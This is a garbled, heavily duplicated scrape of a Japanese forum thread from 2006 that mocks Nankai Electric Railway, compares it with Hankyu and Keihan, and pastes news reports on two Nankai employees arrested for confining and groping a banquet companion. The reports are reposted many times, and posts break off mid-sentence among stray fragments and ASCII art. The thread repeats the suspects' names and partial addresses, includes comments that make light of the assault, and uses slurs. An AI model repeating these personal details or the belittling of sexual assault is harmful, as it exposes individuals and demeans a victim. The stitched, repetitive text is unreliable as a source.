ノ０=務=０∧債∧ヽ‖ノ‖＝ｌ⌒┃ヽ（ﾟ∀ﾟ）";;;ﾞﾞ;';'"ﾞﾞ;''"';;;ﾞﾞ';"'';;";ﾞﾞ''";;''"';'"ﾞﾞ';;
'"';;;'"''"';';"'ﾞﾞ'";"''';;;,、０=務=０＼''";''"';ﾞﾞ'"''"ﾞﾞ';'"';'";''ﾞﾞ";;''"ﾞﾞ;''ﾞﾞ"';'"''
;''"';'"''';;;,、/|∧債∧"ﾞﾞ';;'"';;;''"';'"ﾞﾞ';;'"';;;'"''"';';"'ﾞﾞ'";;''"''';;;,、（ﾟ∀ﾟ）"
';'"ﾞﾞ';;'"';;;'"''"';';"'ﾞﾞ'";"''';;;,、=０'"''"';';"'ﾞﾞ'";;
経営が苦しい以外に話題がないから、昔話とか現実逃避の話題しか出せないんだなw
阪急ブックファーストは首都圏で既に１５店舗、関西に２４店舗かすげえな
もう立派な本屋チェーンだ
もう立派な本屋チェーンだ
京阪ジューサーバーは首都圏で既に29店舗、関西に12店舗かこっちもすげえな
南海も何か首都圏でジャブジャブお金が転がり込む事業はないのか？
南海も何か首都圏でジャブジャブお金が転がり込む事業はないのか？
478 ：名無しでGO!：2006/07/30(日) 12:34:07 ID:Wp44PPKIO
雌車・雌限定サービスをやってる会社の社員は女にもてるという思いあがりがあるのでぇーす。
ネタに突っ込んで何だが、北欧はゼロから始めた事業ではない。近鉄の展開する「ampm」と同じで、
大阪圏以外は全くの別会社の運営。えっ？もしかして、首都圏の大量のampmも、すべて近鉄が展開し
てたと勘違いしてたの？ちなみに、首都圏ではたしか小田急が北欧の営業権を取得してたんだったか
な？恥かかないように、もうちょっと勉強してから反論しようね。やっぱり小田急か。株式会社北欧
トーキョー、これだな。↓ttp://www.odakyu-ox.co.jp/group/group.html
大阪圏以外は全くの別会社の運営。えっ？もしかして、首都圏の大量のampmも、すべて近鉄が展開し
てたと勘違いしてたの？ちなみに、首都圏ではたしか小田急が北欧の営業権を取得してたんだったか
な？恥かかないように、もうちょっと勉強してから反論しようね。やっぱり小田急か。株式会社北欧
トーキョー、これだな。↓ttp://www.odakyu-ox.co.jp/group/group.html
ttp://www.kobe-np.co.jp/kobenews/sg/0000077484.shtmlttp://headlines.yahoo.co.jp/hl?a=20060725-00000131-kyodo-soci
ttp://headlines.yahoo.co.jp/hl?a=20060725-00000096-jij-soci&kz=soci
ttp://headlines.yahoo.co.jp/hl?a=20060725-00000096-jij-soci&kz=soci
南海電鉄の運転手と車掌コンパニオン監禁兵庫県警有馬署は２５日、強制わいせつと監禁の疑いで、南海電鉄運転士上野敦弘（３４）南海電鉄車掌喜多信也（３３）の両容疑者を逮捕した。
調べでは、両容疑者は５月２９日午後８時５０分ごろ、神戸・有馬温泉のホテルで、コンパニオン女性（２３）を男性トイレに連れ込み施錠、体に触るなどのわいせつ行為をした疑い。容
疑者は「合意の上だった」と容疑を否認しているという。両容疑者は同期入社の社員十数人と有馬温泉に宿泊。宴会場でコンパニオンの接待を受け、２次会でホテル内のバーに移動した。
女性が席を立ったところ「ちょっと来て」と誘い、トイレに連れ込んだという。南海電鉄は「あるまじき行為」とコメント、両容疑者の処分を検討している。tp://www.nikkansports.com/g
eneral/p-gn-tp0-20060726-66002.html
調べでは、両容疑者は５月２９日午後８時５０分ごろ、神戸・有馬温泉のホテルで、コンパニオン女性（２３）を男性トイレに連れ込み施錠、体に触るなどのわいせつ行為をした疑い。容
疑者は「合意の上だった」と容疑を否認しているという。両容疑者は同期入社の社員十数人と有馬温泉に宿泊。宴会場でコンパニオンの接待を受け、２次会でホテル内のバーに移動した。
女性が席を立ったところ「ちょっと来て」と誘い、トイレに連れ込んだという。南海電鉄は「あるまじき行為」とコメント、両容疑者の処分を検討している。tp://www.nikkansports.com/g
eneral/p-gn-tp0-20060726-66002.html
23歳コンパニオンをトイレに監禁、体触る兵庫県警有馬署は２５日、強制わいせつと監禁の疑いで、南海電鉄運転士上野敦弘（３４＝大阪府羽曳野市）、南海電鉄車掌喜多信也（３３＝和歌山県橋本市）の両容疑者を逮捕した。
調べでは、両容疑者は共謀。５月２９日午後８時５０分ごろ、神戸・有馬温泉のホテルで、コンパニオン女性（２３）を男性トイレに連れ込み施錠、体に触るなどのわいせつ行為をした疑い。両容疑者は「合意の上だった」と容
疑を否認しているという。両容疑者は同期入社の社員十数人と有馬温泉に宿泊。宴会場でコンパニオン数人の接待を受け、２次会でホテル内のバーに移動した。２次会ではコンパニオン数人の時間を延長して接待を受けていた。
両容疑者は女性がトイレへ行くため席を立ったところ「ちょっと来て」と誘い、手を引っ張ってトイレに連れ込んだという。両容疑者は約４０分間、女性をトイレに監禁し、わいせつな行為に及んだという。]同僚のコンパニオン
女性が席に戻ってこない女性を心配し、男子トイレを外からノックしたが、反応はなかったという。６月上旬に女性が同署に被害届を提出した。南海電鉄は「あるまじき行為。全社員への教育を徹底する」とコメント、両容疑者
の処分を検討している。［2006年7月26日11時6分 紙面から］
調べでは、両容疑者は共謀。５月２９日午後８時５０分ごろ、神戸・有馬温泉のホテルで、コンパニオン女性（２３）を男性トイレに連れ込み施錠、体に触るなどのわいせつ行為をした疑い。両容疑者は「合意の上だった」と容
疑を否認しているという。両容疑者は同期入社の社員十数人と有馬温泉に宿泊。宴会場でコンパニオン数人の接待を受け、２次会でホテル内のバーに移動した。２次会ではコンパニオン数人の時間を延長して接待を受けていた。
両容疑者は女性がトイレへ行くため席を立ったところ「ちょっと来て」と誘い、手を引っ張ってトイレに連れ込んだという。両容疑者は約４０分間、女性をトイレに監禁し、わいせつな行為に及んだという。]同僚のコンパニオン
女性が席に戻ってこない女性を心配し、男子トイレを外からノックしたが、反応はなかったという。６月上旬に女性が同署に被害届を提出した。南海電鉄は「あるまじき行為。全社員への教育を徹底する」とコメント、両容疑者
の処分を検討している。［2006年7月26日11時6分 紙面から］
南海＞ダイエー＞ソフトバンク破綻の連鎖
【南海電鉄】 運転士(３４)と車掌(３３)が女性を監禁トイレで強制わいせつttp://news18.2ch.net/test/read.cgi/dqnplus/1153831730/l50
運転士＆車掌、連携して…コンパニオンをトイレ監禁コンパニオンの女性をトイレに閉じ込めて体を触ったとして、兵庫県警有馬署は２６日までに、監禁と強制わいせつの疑いで、
南海電鉄の運転士（３４）＝大阪府羽曳野市＝、車掌（３３）＝和歌山県橋本市＝両容疑者を逮捕した。両容疑者は「合意の上だった」と供述している。調べによると、両容疑者は
５月２９日夜、神戸市北区有馬町のホテルで、宴会に派遣されていた同区在住のコンパニオンの女性（２３）を男子トイレの個室に監禁して胸などを触った疑い。女性がトイレに行
こうとしたところを、無理やり引きずり込んだという。両容疑者は会社の同期十数人で有馬温泉へ旅行に来ており、宴会にコンパニオン５、６人を呼んでいた。南海電鉄の話誠に遺
憾。二度とこのようなことが起こらないよう全社員への教育を徹底して参りたい。(夕刊フジ07月26日17時00分)運転士と車掌が女性監禁／トイレで強制わいせつ兵庫県警有馬署は２
５日、強制わいせつと監禁の疑いで、南海電鉄運転士上野敦弘（３４）＝大阪府羽曳野市南恵我之荘、南海電鉄車掌喜多信也（３３）＝和歌山県橋本市紀見ケ丘＝の両容疑者を逮捕
した。調べでは、両容疑者は共謀。５月２９日午後８時５０分ごろ、神戸・有馬温泉のホテルで、コンパニオン女性（２３）を男性トイレに連れ込み施錠、体に触るなどのわいせつ
行為をした疑い。両容疑者は「合意の上だった」と容疑を否認しているという。両容疑者は同期入社の社員１０数人と有馬温泉に宿泊。宴会場でコンパニオン数人の接待を受け、２
次会でホテル内のバーに移動した。女性が席を立ったところ「ちょっと来て」と誘い、トイレに連れ込んだという。ttp://www.shikoku-np.co.jp/news/kyodonews.aspx?id=20060725
000286
南海電鉄の運転士（３４）＝大阪府羽曳野市＝、車掌（３３）＝和歌山県橋本市＝両容疑者を逮捕した。両容疑者は「合意の上だった」と供述している。調べによると、両容疑者は
５月２９日夜、神戸市北区有馬町のホテルで、宴会に派遣されていた同区在住のコンパニオンの女性（２３）を男子トイレの個室に監禁して胸などを触った疑い。女性がトイレに行
こうとしたところを、無理やり引きずり込んだという。両容疑者は会社の同期十数人で有馬温泉へ旅行に来ており、宴会にコンパニオン５、６人を呼んでいた。南海電鉄の話誠に遺
憾。二度とこのようなことが起こらないよう全社員への教育を徹底して参りたい。(夕刊フジ07月26日17時00分)運転士と車掌が女性監禁／トイレで強制わいせつ兵庫県警有馬署は２
５日、強制わいせつと監禁の疑いで、南海電鉄運転士上野敦弘（３４）＝大阪府羽曳野市南恵我之荘、南海電鉄車掌喜多信也（３３）＝和歌山県橋本市紀見ケ丘＝の両容疑者を逮捕
した。調べでは、両容疑者は共謀。５月２９日午後８時５０分ごろ、神戸・有馬温泉のホテルで、コンパニオン女性（２３）を男性トイレに連れ込み施錠、体に触るなどのわいせつ
行為をした疑い。両容疑者は「合意の上だった」と容疑を否認しているという。両容疑者は同期入社の社員１０数人と有馬温泉に宿泊。宴会場でコンパニオン数人の接待を受け、２
次会でホテル内のバーに移動した。女性が席を立ったところ「ちょっと来て」と誘い、トイレに連れ込んだという。ttp://www.shikoku-np.co.jp/news/kyodonews.aspx?id=20060725
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【エロ】南海電鉄運転士らが宴会ｺﾝﾊﾟﾆｵﾝに強制わいせつ、逮捕神戸ttp://live14.2ch.net/test/read.cgi/liveplus/1153818544/
1：〈(｀・ω・｀)〉φ★：sage：2006/07/25(火)18:09:04.85ID:???0コンパニオンの女性をトイレに閉じ込めて体を触ったとして、
兵庫県警有馬署は25日、監禁と強制わいせつの疑いで、南海電鉄の運転士上野敦弘（34）＝大阪府羽曳野市恵我之荘＝、車掌喜多信
也（33）＝和歌山県橋本市紀見ケ丘＝両容疑者を逮捕した。両容疑者は「合意の上だった」と供述している。調べによると、両容疑
者は5月29日夜、神戸市北区有馬町のホテルで、宴会に派遣されていた同区在住のコンパニオンの女性（23）を男子トイレの個室に
監禁して胸などを触った疑い。Yahoo!時事通信 (p)ttp://headlines.yahoo.co.jp/hl?a=20060725-00000096-jij-soci2：Ψ：2006/07
/25(火)18:11:06.13ID:BrCGuZhv0小学校教師が児童に猥褻行為、というのにくらべると、正直インパクトがない・・・3：Ψ：2006/0
7/25(火)18:11:54.33ID:ingHtoxB0よく和姦ない4：Ψ：2006/07/25(火)18:14:33.35ID:7TtFe+Ga0閉じ込めといて合意の上なわけねえ
だろｗ5：Ψ：2006/07/25(火)18:18:59.25ID:UkS7OwoT0チップをケチったからだろ､お前等も､良く覚えとけ6：Ψ：2006/07/25(火)18:
27:56.94 (p)ID:T0nrDCG60(2)触るくらいで・・・7：Ψ：2006/07/25(火)18:29:50.90ID:1sGIMZwv0南海電車でた〜！8：Ψ：2006/07/
1：〈(｀・ω・｀)〉φ★：sage：2006/07/25(火)18:09:04.85ID:???0コンパニオンの女性をトイレに閉じ込めて体を触ったとして、
兵庫県警有馬署は25日、監禁と強制わいせつの疑いで、南海電鉄の運転士上野敦弘（34）＝大阪府羽曳野市恵我之荘＝、車掌喜多信
也（33）＝和歌山県橋本市紀見ケ丘＝両容疑者を逮捕した。両容疑者は「合意の上だった」と供述している。調べによると、両容疑
者は5月29日夜、神戸市北区有馬町のホテルで、宴会に派遣されていた同区在住のコンパニオンの女性（23）を男子トイレの個室に
監禁して胸などを触った疑い。Yahoo!時事通信 (p)ttp://headlines.yahoo.co.jp/hl?a=20060725-00000096-jij-soci2：Ψ：2006/07
/25(火)18:11:06.13ID:BrCGuZhv0小学校教師が児童に猥褻行為、というのにくらべると、正直インパクトがない・・・3：Ψ：2006/0
7/25(火)18:11:54.33ID:ingHtoxB0よく和姦ない4：Ψ：2006/07/25(火)18:14:33.35ID:7TtFe+Ga0閉じ込めといて合意の上なわけねえ
だろｗ5：Ψ：2006/07/25(火)18:18:59.25ID:UkS7OwoT0チップをケチったからだろ､お前等も､良く覚えとけ6：Ψ：2006/07/25(火)18:
27:56.94 (p)ID:T0nrDCG60(2)触るくらいで・・・7：Ψ：2006/07/25(火)18:29:50.90ID:1sGIMZwv0南海電車でた〜！8：Ψ：2006/07/
25(火)18:30:12.85ID:HuomtXem0これはいかんな南海ホークス解散しないと9：Ψ：2006/07/25(火)18:31:24.53(p)ID:T0nrDCG60(2)>8
もうとっくにないやん10：落武者φ★：2006/07/25(火)18:33:08.34ID:???0(p)?BRZ何回やったんだろ？11：Ψ：2006/07/25(火)18:35
:48.50ID:XQZouqyv0羽曳野恵我之荘？近鉄電車で通勤する南海電車の運転士？12：Ψ：2006/07/25(火)18:41:13.34ID:l3M+HHwR0昨日、
南海電車乗った。13：Ψ：sage：2006/07/25(火)18:47:17.11ID:NWoigyUp0ちぇっく14：Ψ：2006/07/25(火)18:48:23.75ID:MD0PBvr90
10：落武者φ★：2006/07/25(火)18:33:08.34ID:???0(p)?BRZ何回やったんだろ？>10氏ねよ15：Ψ：2006/07/25(火) 19:05:11.55 ID:
nbLkqF0x0コンパニオン会社は、プロ(プロ根性のある）の女を派遣しないと。宴会で騒いで、日頃の鬱憤を晴らして、ちょっと、羽目
をはずして逮捕はねーぞ。まあ、常軌を逸した行為を？したのかも。16：Ψ：sage：2006/07/25(火)20:18:04.41ID:85z9nelr0Ｍ車を連
結して出発進行南海電鉄運転士らが強制わいせつ＝コンパニオンに、逮捕−神戸ttp://headlines.yahoo.co.jp/hl?a=20060725-0000009
6-jij-soci&kz=soci↑これを合意っていうのは、無理があるでしょう。ていうか、南海電鉄の社員ときいて、「なるほど！」と思って
しまったあなたは、南大阪通。南海ってどうしてもそういうイメージあるよね。南大阪を走っている電車だもん。と、そんなかんじで、
無理矢理トイレに押し込んで、触って、合意の上、というのは、やめましょう。ありえませんから。
もうとっくにないやん10：落武者φ★：2006/07/25(火)18:33:08.34ID:???0(p)?BRZ何回やったんだろ？11：Ψ：2006/07/25(火)18:35
:48.50ID:XQZouqyv0羽曳野恵我之荘？近鉄電車で通勤する南海電車の運転士？12：Ψ：2006/07/25(火)18:41:13.34ID:l3M+HHwR0昨日、
南海電車乗った。13：Ψ：sage：2006/07/25(火)18:47:17.11ID:NWoigyUp0ちぇっく14：Ψ：2006/07/25(火)18:48:23.75ID:MD0PBvr90
10：落武者φ★：2006/07/25(火)18:33:08.34ID:???0(p)?BRZ何回やったんだろ？>10氏ねよ15：Ψ：2006/07/25(火) 19:05:11.55 ID:
nbLkqF0x0コンパニオン会社は、プロ(プロ根性のある）の女を派遣しないと。宴会で騒いで、日頃の鬱憤を晴らして、ちょっと、羽目
をはずして逮捕はねーぞ。まあ、常軌を逸した行為を？したのかも。16：Ψ：sage：2006/07/25(火)20:18:04.41ID:85z9nelr0Ｍ車を連
結して出発進行南海電鉄運転士らが強制わいせつ＝コンパニオンに、逮捕−神戸ttp://headlines.yahoo.co.jp/hl?a=20060725-0000009
6-jij-soci&kz=soci↑これを合意っていうのは、無理があるでしょう。ていうか、南海電鉄の社員ときいて、「なるほど！」と思って
しまったあなたは、南大阪通。南海ってどうしてもそういうイメージあるよね。南大阪を走っている電車だもん。と、そんなかんじで、
無理矢理トイレに押し込んで、触って、合意の上、というのは、やめましょう。ありえませんから。
>491（ID:7K90ujIn）は恥ずかしくて、>494へ再反論できません阪急の新型通勤電車がデビュー液晶画面でニュースも
ttp://www.asahi.com/life/update/0731/012.html南海は経営が苦しくて、液晶画面どころか、難波駅に液晶の大型行
き先表示パネルを導入する余裕すらありませんw581：名無し野電車区：2006/07/31(月)19:22:17ID:W0Z7rTmH普段はJR
だが、ちと寄り道して今日の帰りだけ阪急にしたら一発で来た。こんな平等な高級車乗ったら、明日から雌車つき糞
ボロポンコツ汚物207なんて乗れないな。というか、もう「鉄道車両」と認知すらしたくないし。
ttp://www.asahi.com/life/update/0731/012.html南海は経営が苦しくて、液晶画面どころか、難波駅に液晶の大型行
き先表示パネルを導入する余裕すらありませんw581：名無し野電車区：2006/07/31(月)19:22:17ID:W0Z7rTmH普段はJR
だが、ちと寄り道して今日の帰りだけ阪急にしたら一発で来た。こんな平等な高級車乗ったら、明日から雌車つき糞
ボロポンコツ汚物207なんて乗れないな。というか、もう「鉄道車両」と認知すらしたくないし。
あ〜、阪急と比較されるのが大嫌いだったっけ。どっちにしても、南海は2300系において、液晶パネルを車内に設置する金銭的余裕がなかったわけで。
しかし、なぜ南海ヲタは阪急と比較されることにやけに過剰反応するんだろうか？
そりゃ、女性をゴーカンしちゃうような会社の出すプレスだもんな
に乗った男たちに金づちで襲われ金品を強奪された・警察が駐車ポールを置いてる間に中国人違法朝市が形成されてた・駅前でなんか臭いなと思って回りを探索すると植え込みに浮浪者
これだこれだ◆◇◆◇◆運転士と車掌が女性監禁トイレで強制わいせつ◆◇◆◇◆兵庫県警有馬署は２５日、強制わいせつと監禁の疑いで、南海電鉄運転士上野敦弘（３４）＝大阪府羽曳
野市南恵我之荘、南海電鉄車掌喜多信也（３３）＝和歌山県橋本市紀見ケ丘＝の両容疑者を逮捕した。調べでは、両容疑者は共謀。５月２９日午後８時５０分ごろ、神戸・有馬温泉のホテ
ルで、コンパニオン女性（２３）を男性トイレに連れ込み施錠、体に触るなどのわいせつ行為をした疑い。両容疑者は「合意の上だった」と容疑を否認しているという。両容疑者は同期入
社の社員１０数人と有馬温泉に宿泊。宴会場でコンパニオン数人の接待を受け、２次会でホテル内のバーに移動した。女性が席を立ったところ「ちょっと来て」と誘い、トイレに連れ込ん
だという。（共同通信）-7月25日18時39分更新ソース：ttp://headlines.yahoo.co.jp/hl?a=20060725-00000131-kyodo-soci
これだこれだ◆◇◆◇◆運転士と車掌が女性監禁トイレで強制わいせつ◆◇◆◇◆兵庫県警有馬署は２５日、強制わいせつと監禁の疑いで、南海電鉄運転士上野敦弘（３４）＝大阪府羽曳
野市南恵我之荘、南海電鉄車掌喜多信也（３３）＝和歌山県橋本市紀見ケ丘＝の両容疑者を逮捕した。調べでは、両容疑者は共謀。５月２９日午後８時５０分ごろ、神戸・有馬温泉のホテ
ルで、コンパニオン女性（２３）を男性トイレに連れ込み施錠、体に触るなどのわいせつ行為をした疑い。両容疑者は「合意の上だった」と容疑を否認しているという。両容疑者は同期入
社の社員１０数人と有馬温泉に宿泊。宴会場でコンパニオン数人の接待を受け、２次会でホテル内のバーに移動した。女性が席を立ったところ「ちょっと来て」と誘い、トイレに連れ込ん
だという。（共同通信）-7月25日18時39分更新ソース：ttp://headlines.yahoo.co.jp/hl?a=20060725-00000131-kyodo-soci
◆◇◆◇◆運転士と車掌が女性監禁トイレで強制わいせつ◆◇◆◇◆23歳コンパニオンをトイレに監禁、体触る兵庫県警有馬署は２５日、強制わいせつと監禁の疑いで、南海電鉄運転士
上野敦弘（３４＝大阪府羽曳野市）、南海電鉄車掌喜多信也（３３＝和歌山県橋本市）の両容疑者を逮捕した。調べでは、両容疑者は共謀。５月２９日午後８時５０分ごろ、神戸・有馬
温泉のホテルで、コンパニオン女性（２３）を男性トイレに連れ込み施錠、体に触るなどのわいせつ行為をした疑い。両容疑者は「合意の上だった」と容疑を否認しているという。
両容疑者は同期入社の社員十数人と有馬温泉に宿泊。宴会場でコンパニオン数人の接待を受け、２次会でホテル内のバーに移動した。２次会ではコンパニオン数人の時間を延長して接待
を受けていた。両容疑者は女性がトイレへ行くため席を立ったところ「ちょっと来て」と誘い、手を引っ張ってトイレに連れ込んだという。両容疑者は約４０分間、女性をトイレに監禁
し、わいせつな行為に及んだという。]同僚のコンパニオン女性が席に戻ってこない女性を心配し、男子トイレを外からノックしたが、反応はなかったという。６月上旬に女性が同署に
被害届を提出した。南海電鉄は「あるまじき行為。全社員への教育を徹底する」とコメント、両容疑者の処分を検討している。［2006年7月26日11時6分紙面から］ttp://osaka.nikkans
ports.com/news/p-on-tp6-20060726-66186.htmlttp://www1.ezbbs.net/14/yone5010/img/1152862725_1.JPGttp://www1.ezbbs.net/14/yone5010/img/1152862725_2.JPG監禁強制わいせつ
運転士と車掌を次々と世に送り出す『赤字南海』を叩こう。∧＿∧／￣￣￣￣￣￣￣（´Д｀）＜赤字南海は逝ってよし！／,/＼＿＿＿＿＿＿＿(ぃ９|//、/∧_二つ///＼（（（ ）））
／￣￣￣￣￣￣￣//~＼＼（´Д｀）＜逝ってよし！//>）(ぃ９）＼＿＿＿＿＿＿＿／ノ/／/∧つ/／././/＼(ﾟдﾟ)ｲｯﾃﾖｼ!!/./（ヽ､//⌒>）ﾟ()−（_)＼__つ（＿)＼_つ/>(･Ａ･)ITTEYOSHI
！ttp://www.asahi.com/photonews/image/gallely/OSK200607310043.jpg阪神と山陽の職員もたまたま9000系を発見しては、ずっと眺めてそして阪急のウテシに話しかける光景も多々見
られたな。。。久々に新車そして新形式の力は伊達じゃないな
上野敦弘（３４＝大阪府羽曳野市）、南海電鉄車掌喜多信也（３３＝和歌山県橋本市）の両容疑者を逮捕した。調べでは、両容疑者は共謀。５月２９日午後８時５０分ごろ、神戸・有馬
温泉のホテルで、コンパニオン女性（２３）を男性トイレに連れ込み施錠、体に触るなどのわいせつ行為をした疑い。両容疑者は「合意の上だった」と容疑を否認しているという。
両容疑者は同期入社の社員十数人と有馬温泉に宿泊。宴会場でコンパニオン数人の接待を受け、２次会でホテル内のバーに移動した。２次会ではコンパニオン数人の時間を延長して接待
を受けていた。両容疑者は女性がトイレへ行くため席を立ったところ「ちょっと来て」と誘い、手を引っ張ってトイレに連れ込んだという。両容疑者は約４０分間、女性をトイレに監禁
し、わいせつな行為に及んだという。]同僚のコンパニオン女性が席に戻ってこない女性を心配し、男子トイレを外からノックしたが、反応はなかったという。６月上旬に女性が同署に
被害届を提出した。南海電鉄は「あるまじき行為。全社員への教育を徹底する」とコメント、両容疑者の処分を検討している。［2006年7月26日11時6分紙面から］ttp://osaka.nikkans
ports.com/news/p-on-tp6-20060726-66186.htmlttp://www1.ezbbs.net/14/yone5010/img/1152862725_1.JPGttp://www1.ezbbs.net/14/yone5010/img/1152862725_2.JPG監禁強制わいせつ
運転士と車掌を次々と世に送り出す『赤字南海』を叩こう。∧＿∧／￣￣￣￣￣￣￣（´Д｀）＜赤字南海は逝ってよし！／,/＼＿＿＿＿＿＿＿(ぃ９|//、/∧_二つ///＼（（（ ）））
／￣￣￣￣￣￣￣//~＼＼（´Д｀）＜逝ってよし！//>）(ぃ９）＼＿＿＿＿＿＿＿／ノ/／/∧つ/／././/＼(ﾟдﾟ)ｲｯﾃﾖｼ!!/./（ヽ､//⌒>）ﾟ()−（_)＼__つ（＿)＼_つ/>(･Ａ･)ITTEYOSHI
！ttp://www.asahi.com/photonews/image/gallely/OSK200607310043.jpg阪神と山陽の職員もたまたま9000系を発見しては、ずっと眺めてそして阪急のウテシに話しかける光景も多々見
られたな。。。久々に新車そして新形式の力は伊達じゃないな
個人的には南海を成敗して欲しいところだ。南海逝ってよし。基地害集団赤字南海ヲタ下り準急かぶりつき席に乗車中南海は不動産の失敗を運賃に押し付けて爆高運賃。阪急はサラ金、
近鉄はアーバンライナーによる増収で乗り切ったのに、南海は情けない。俺も南海のべらぼうな運賃にはうんざりしている。南海はパークスでもうけてるはずなのに、パークス利用者だ
けクレジットカードとかで囲い込みしてねびきとかしてる。公共交通なのに、まるで私物化した行為である。そもそも、運賃高くても、それなりのサービスを提供するならましだが、利
用者多いのに競合ない高野線とかまるでローカル線レベルの様相だ。なかもずに速達列車を止めないのは、南海より割安な地下鉄ではなく、難波から爆高な南海利用を促進するためだよ
ね。デタラメ経営の代表のような市営地下鉄より競争力が無いのが、南海クォリティー。沿線住民悲劇だね。じゃ、人並みの合理化してるのかと言えば、難波の座席指定特急売り場を見
れば明らかなように、馬鹿丸出し。泉北高速や、関空、りんくう駅利用の衆は加算運賃取られるから本当にカワイソウ。トータル運賃はたいした距離でもないのにJRと比較にならないく
らい高い。競合ない高野線と、競合ある南海本線サービスレベルは明らかに違う。南海が運賃が高いのはいわゆる人件費。ぬるま湯な人事制度だから。昔から、鉄道で南海は仕事が一番
楽とか叩かれている社風的にも吹き抜けがよろしくない旧式な思想。大企業病に掛かっている＞なかもずに速達列車を止めない泉北高速も噛んでいる筈。あそこの会社はいわゆる第３セ
クター。お役所体質だからね。＞JRと比較にならないくらい高い。南海和歌山とJR和歌山じゃ大阪からじゃ特定運賃を加算しなくてもJRにとっては運賃はさほど気にしなくてもいいから
ね。（普通は私鉄と競合で特定運賃を適用だけど、ちなみに宝塚線はいわゆる近代化費用捻出の為、特定運賃制度は除外しているみたい。もっとも特定運賃ならJRの方が安くなるからあ
えてこういう近代化費用を大義名分にしているのか？）＞N波の座席指定特急売り場旦那。言ったら悪いけど、あの人たちはいわゆる偽装派遣された可哀想な人たちだよ。（中には正社員
近鉄はアーバンライナーによる増収で乗り切ったのに、南海は情けない。俺も南海のべらぼうな運賃にはうんざりしている。南海はパークスでもうけてるはずなのに、パークス利用者だ
けクレジットカードとかで囲い込みしてねびきとかしてる。公共交通なのに、まるで私物化した行為である。そもそも、運賃高くても、それなりのサービスを提供するならましだが、利
用者多いのに競合ない高野線とかまるでローカル線レベルの様相だ。なかもずに速達列車を止めないのは、南海より割安な地下鉄ではなく、難波から爆高な南海利用を促進するためだよ
ね。デタラメ経営の代表のような市営地下鉄より競争力が無いのが、南海クォリティー。沿線住民悲劇だね。じゃ、人並みの合理化してるのかと言えば、難波の座席指定特急売り場を見
れば明らかなように、馬鹿丸出し。泉北高速や、関空、りんくう駅利用の衆は加算運賃取られるから本当にカワイソウ。トータル運賃はたいした距離でもないのにJRと比較にならないく
らい高い。競合ない高野線と、競合ある南海本線サービスレベルは明らかに違う。南海が運賃が高いのはいわゆる人件費。ぬるま湯な人事制度だから。昔から、鉄道で南海は仕事が一番
楽とか叩かれている社風的にも吹き抜けがよろしくない旧式な思想。大企業病に掛かっている＞なかもずに速達列車を止めない泉北高速も噛んでいる筈。あそこの会社はいわゆる第３セ
クター。お役所体質だからね。＞JRと比較にならないくらい高い。南海和歌山とJR和歌山じゃ大阪からじゃ特定運賃を加算しなくてもJRにとっては運賃はさほど気にしなくてもいいから
ね。（普通は私鉄と競合で特定運賃を適用だけど、ちなみに宝塚線はいわゆる近代化費用捻出の為、特定運賃制度は除外しているみたい。もっとも特定運賃ならJRの方が安くなるからあ
えてこういう近代化費用を大義名分にしているのか？）＞N波の座席指定特急売り場旦那。言ったら悪いけど、あの人たちはいわゆる偽装派遣された可哀想な人たちだよ。（中には正社員
497 ：名無しでGO!：2006/08/01(火) 22:03:02 ID:F4j/mLlv0
南海（新垣）VS 楽天（グリン）
巨人（上原）VS 阪神（井川）
阪急（ﾃﾞｲﾋﾞｰ）VS 日ﾊﾑ（橋本） 他
巨人（上原）VS 阪神（井川）
阪急（ﾃﾞｲﾋﾞｰ）VS 日ﾊﾑ（橋本） 他
として入社している若者も居るんだけどね）いわゆるサザン○○とかいうN海の子会社から何も知らずに派遣された哀れな子羊達。宿直もあっても時給は確か８００円程度だったはず、保
険は労災と雇用のみ実労働時間とか考えたらそれこそ、生活は難しいでしょうな（表向きは契約社員と嘘扱いているけど実際は違うんだな。）座席指定売り場がと言ったのは、馬鹿南海、
改札挟んで林間の売り場とサザンの売り場を分けているじゃない。で昼間、林間何てたまにしか便無いから、林間売り場にいる犬は手持ちぶさたで無駄になる訳。売り場統一しろ、それに
計三つも窓口開けてる程、南海の座席指定特急使う奴なんていねーよ、特に昼間、ってのを馬鹿だと指摘したんです。泉北高速は南海も出資してるんだよね？確か終点までの学生定期で一
万超えたはず。相場の倍以上。ピン大の皆様ご愁傷様。南海やら府やらの利権が絡んでるから爆高なんだね。新入社員は公式では何年も採用して無かったりするんだが、コネで採用してか
ら平気なのが南海クォリティー。南海ｵﾜﾀ◆◇◆◇◆運転士と車掌が女性監禁トイレで強制わいせつ◆◇◆◇◆23歳コンパニオンをトイレに監禁、体触る兵庫県警有馬署は２５日、強制わい
せつと監禁の疑いで、南海電鉄運転士上野敦弘（３４＝大阪府羽曳野市）、南海電鉄車掌喜多信也（３３＝和歌山県橋本市）の両容疑者を逮捕した。調べでは、両容疑者は共謀。５月２９日
午後８時５０分ごろ、神戸・有馬温泉のホテルで、コンパニオン女性（２３）を男性トイレに連れ込み施錠、体に触るなどのわいせつ行為をした疑い。両容疑者は「合意の上だった」と容疑
を否認しているという。両容疑者は同期入社の社員十数人と有馬温泉に宿泊。宴会場でコンパニオン数人の接待を受け、２次会でホテル内のバーに移動した。２次会ではコンパニオン数人の
時間を延長して接待を受けていた。両容疑者は女性がトイレへ行くため席を立ったところ「ちょっと来て」と誘い、手を引っ張ってトイレに連れ込んだという。両容疑者は約４０分間、女性
をトイレに監禁し、わいせつな行為に及んだという。]同僚のコンパニオン女性が席に戻ってこない女性を心配し、男子トイレを外からノックしたが、反応はなかったという。６月上旬に女
険は労災と雇用のみ実労働時間とか考えたらそれこそ、生活は難しいでしょうな（表向きは契約社員と嘘扱いているけど実際は違うんだな。）座席指定売り場がと言ったのは、馬鹿南海、
改札挟んで林間の売り場とサザンの売り場を分けているじゃない。で昼間、林間何てたまにしか便無いから、林間売り場にいる犬は手持ちぶさたで無駄になる訳。売り場統一しろ、それに
計三つも窓口開けてる程、南海の座席指定特急使う奴なんていねーよ、特に昼間、ってのを馬鹿だと指摘したんです。泉北高速は南海も出資してるんだよね？確か終点までの学生定期で一
万超えたはず。相場の倍以上。ピン大の皆様ご愁傷様。南海やら府やらの利権が絡んでるから爆高なんだね。新入社員は公式では何年も採用して無かったりするんだが、コネで採用してか
ら平気なのが南海クォリティー。南海ｵﾜﾀ◆◇◆◇◆運転士と車掌が女性監禁トイレで強制わいせつ◆◇◆◇◆23歳コンパニオンをトイレに監禁、体触る兵庫県警有馬署は２５日、強制わい
